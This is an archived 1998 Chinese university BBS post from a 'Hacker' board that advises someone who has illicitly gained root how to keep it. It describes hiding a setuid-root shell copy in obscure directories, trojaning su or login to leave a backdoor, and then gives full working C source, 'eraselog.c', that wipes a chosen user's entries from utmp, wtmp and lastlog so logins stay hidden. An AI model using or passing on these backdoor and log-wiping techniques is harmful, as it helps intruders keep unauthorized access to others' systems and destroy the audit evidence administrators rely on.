荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: Mill (我会忘记), 信区: Hacker
标  题: 获得root权限后应干什么?
发信站: BBS 荔园晨风站 (Sun Oct 25 15:53:01 1998), 站内信件


现在假设你已用某种手段获得了root权限(可能是暂时的),当然你不会故意去
破坏别人的系统,而破解此系统可能花费了你不小力气, 不为自己留个后门好象
于心不甘. 那么你应干什么才能在系统中长久保持root的权限呢?

  最简单的方法,做个setuid root的shell, 将某个shell拷贝到一个"安全"目录下
并改为hidden: .xxx, 将其加上root的setuid位, chmod 6754(当然不一定是这个数)
这样别人要想发现得 ls -al列目录才行. 这涉及到此"安全"目录问题,此shell放
在哪最安全? 放在$HOME下? ls-al 列表rwsr-sr-- root root出现在一堆你作为
owner的文档中, 好象很刺眼. 放在某个少人去的目录下? /var/*** /dev/***, 当然
你作为普通用户得能进该目录才行. 或是干脆放在/bin, /sbin, /usr/bin下,但root
ls -al时对setuid的程序一般会很注意,因为大多破解均是从此类程序上找漏洞.
你认为较安全的地方在哪? 欢迎讨论.

   稍复杂一点的方法,改su或login,当然这与具体的OS相关了,且得有源码. 如
Linux的su/login均代源码,你可改写之为自己留个后门(当然也可加你想要的别的功
能). 然后将此木马程序覆盖原来之su/login, 相信只要日期什么的注意一点,root
不应发现程序被换掉了吧?

   另外, 在你telnet上一台机器, 被who看见怎么办? 还有你的login log, 这些
都得注意消除. 下面的程序来自精华区的某篇文章,我改了几个路径使其适用于
Linux(utmp, wtmp, lastlog等记录文件随OS不同而异, 要找对地方),可能对一些
人会有用.

--------------------- eraselog.c----------------------------
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>

/*  /var/run/utmp records currently who is logged in,   --/usr/bin/who
    /var/log/wtmp records all login/logout,             --/usr/bin/last
    /var/log/lastlog records each user's last login     --/usr/sbin/lastlog
*/

/*#define WTMP_NAME "/usr/adm/wtmp"  */
#define WTMP_NAME "/var/log/wtmp"
/* In linux, this file is at /var/log/wtmp */

#define UTMP_NAME "/etc/utmp"
/* In linux, this file is at /var/run/utmp, but has a symbolic link
   to /etc/utmp, you can 'man utmp/wtmp' to obtain more info */

/*#define LASTLOG_NAME "/usr/adm/lastlog"*/
#define LASTLOG_NAME "/var/log/lastlog"
/* In linux, this file is at /var/log/lastlog  */

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Erase log of user %s!\n",argv[1]);
    } else
    printf("Usage: eraselog username\n");
}

--
m;37m※ 来源:.BBS 广商星光站 bbs.gdcc.edu.cn.[FROM: 202.116.54.4]m
--
m;33m※ 转寄:.BBS 广商星光站 bbs.gdcc.edu.cn.[FROM: bbs.huizhou.gd.c]m

--
                         ┏━━━━━━━━━━━━━┯┓
                         ┃ 弃我去者,昨日之日不可留, ╚┫
                         ┃ 乱我心者,今日之日多烦忧.   ┃
                         ┗━━━━━━━━━━━━━━┛
 取下天上的月亮后,我拿给你
 Email: s7110109@szu.edu.cn  Macrobird

※ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: 192.168.0.167]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店